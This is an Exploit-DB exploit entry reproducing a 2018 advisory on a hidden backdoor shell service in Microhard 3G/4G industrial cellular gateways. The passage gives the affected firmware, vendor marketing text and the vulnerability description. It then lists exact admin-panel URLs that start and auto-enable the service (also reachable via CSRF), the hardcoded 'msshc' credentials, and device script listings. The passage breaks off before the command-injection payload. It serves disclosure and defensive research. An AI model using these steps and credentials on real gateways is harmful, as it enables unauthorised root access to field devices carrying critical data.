Exploit-DB #45041
Description: Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway - Restricted Shell Escape
Type: local
Platform: hardware
Date: 2018-07-17
Author: LiquidWorm

Exploit:
Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Backdoor Jailbreak


Vendor: Microhard Systems Inc.
Product web page: http://www.microhardcorp.com
Affected version: IPn4G 1.1.0 build 1098
                  IPn3Gb 2.2.0 build 2160
                  IPn4Gb 1.1.6 build 1184-14
                  IPn4Gb 1.1.0 Rev 2 build 1090-2
                  IPn4Gb 1.1.0 Rev 2 build 1086
                  Bullet-3G 1.2.0 Rev A build 1032
                  VIP4Gb 1.1.6 build 1204
                  VIP4G 1.1.6 Rev 3.0 build 1184-14
                  VIP4G-WiFi-N 1.1.6 Rev 2.0.0 build 1196
                  IPn3Gii / Bullet-3G 1.2.0 build 1076
                  IPn4Gii / Bullet-LTE 1.2.0 build 1078
                  BulletPlus 1.3.0 build 1036
                  Dragon-LTE 1.1.0 build 1036

Summary: The new IPn4Gb provides a rugged, industrial strength wireless solution
using the new and ultra fast 4G LTE cellular network infrastructure. The IPn4Gb
features integrated Firewall, IPSec / VPN & GRE Tunneling, IP/MAC Access Control
Lists. The IPn4Gb can transport critical data to and from SMS, Ethernet and Serial
RS232/485/422 devices!

The IPn3Gb provides a fast, secure industrial strength wireless solution that uses
the widespread deployment of cellular network infrastructure for critical data collection.
From remote meters and sensors, to providing mobile network access, the IPn3Gb delivers!
The IPn3Gb is a powerful HSPA+ and Quad Band GSM device compatible almost anywhere. It
provides robust and secure wireless communication of Serial, USB and Ethernet data.

The all new Bullet-3G provides a compact, robust, feature packed industrial strength
wireless solution using fast 3G/HSPA+ network infrastructure. The Bullet-3G takes things
to the next level by providing features such as Ethernet with PoE, RS232 Serial port
and 2x Programmable I/O. Offering enhanced, 'Secure Communication' with its integrated
Firewall, IPSec VPN Tunneling, IP/MAC Access Control Lists, the Bullet-3G is a solution
worth looking at!

The all new Dragon-LTE provides a feature packed, compact OEM, industrial strength
wireless IoT & M2M solution. Connect any device, wired or wireless, and provide remote
cellular access using the Dragon-LTE. The Dragon-LTE features a OEM design for tight
system integration and design flexibility with dual Ethernet Ports and high power
802.11b/g/n WIFI. With its integrated Firewall, IPSec VPN Tunneling and IP/MAC Access
Control Lists, the Dragon-LTE provides a solution for any cellular application!

The new VIP4Gb provides a rugged, industrial strength wireless solution using 4G LTE
network infrastructure for critical data communications. The VIP4Gb provides simultaneous
network connections for 802.11a/b/g/n WiFi devices, 4 x 10/100/1000 Ethernet ports, Digital
I/O, and a RS232/RS485 port, resulting in a communication device that can be deployed in
any application! The VIP4Gb is a powerful 4G LTE device compatible on any cellular network.
It provides robust and secure wireless communication of Serial, Ethernet & WiFi data.

Desc: The web shell application includes a service called Microhard Sh that is documented
only as 'reserved for internal use'. This service can be enabled by an authenticated
user within the Services menu in the web admin panel. This can also be enabled via CSRF
attack. When the service is enabled, a user 'msshc' is created on the system with password
'msshc' for SSH shell access on port 22. When connected, the user is dropped into a NcFTP
jailed environment, that has limited commands for file transfer administration. One of the
commands is a custom added 'ping' command that has a command injection vulnerability that
allows the attacker to escape the restricted environment and enter into a root shell terminal
that can execute commands as the root user. 

Tested on: httpd-ssl-1.0.0
           Linux 2.6.32.9 (Bin@DProBuilder) (gcc version 4.4.3)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2018-5486
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5486.php


13.03.2018

--


1) Enable Microhard Sh service:
-------------------------------

http://192.168.1.1/cgi-bin/webif/system-services.sh?service=msshc&action=start - Start the Microhard Sh (msshc) service
http://192.168.1.1/cgi-bin/webif/system-services.sh?service=msshc&action=enable - Auto-enable (auto-start)


2) Check what happens when enabling Microhard Sh service:
---------------------------------------------------------

# cat /etc/init.d/msshc
#!/bin/sh /etc/rc.common
# Copyright (C) 2013 Microhardcorp

start() {
  deluser msshc
  rm -rf /tmp/msshc
  mkdir -p /tmp/msshc
  msshcshell=$(cat /etc/shells | grep -c "/etc/msshc.sh")
  [ $msshcshell -gt 0 ] || echo "/etc/msshc.sh" >> /etc/shells
  passwd=$(/sbin/uci get msshc.general.passwd)
  echo "$passwd" >> /etc/passwd
}

stop() {
  deluser msshc
  rm -rf /tmp/msshc
}


3) Check the /etc/msshc.sh script:
----------------------------------

# cat /etc/msshc.sh
#!/bin/sh 
# Copyright (C) 2013 Microhardcorp

/usr/bin/ncftp

exit 0


4) Check the /sbin/uci binary:
------------------------------

Usage: /sbin/uci [<options>] <command> [<arguments>]

Commands:
    batch
    export     [<config>]
    import     [<config>]
    changes    [<config>]
    commit     [<config>]
    add        <config> <section-type>
    add_list   <config>.<section>.<option>=<string>
    show       [<config>[.<section>[.<option>]]]
    get        <config>.<section>[.<option>]
    set        <config>.<section>[.<option>]=<value>
    delete     <config>[.<section[.<option>]]
    rename     <config>.<section>[.<option>]=<name>
    revert     <config>[.<section>[.<option>]]

Options:
    -c <path>  set the search path for config files (default: /etc/config)
    -d <str>   set th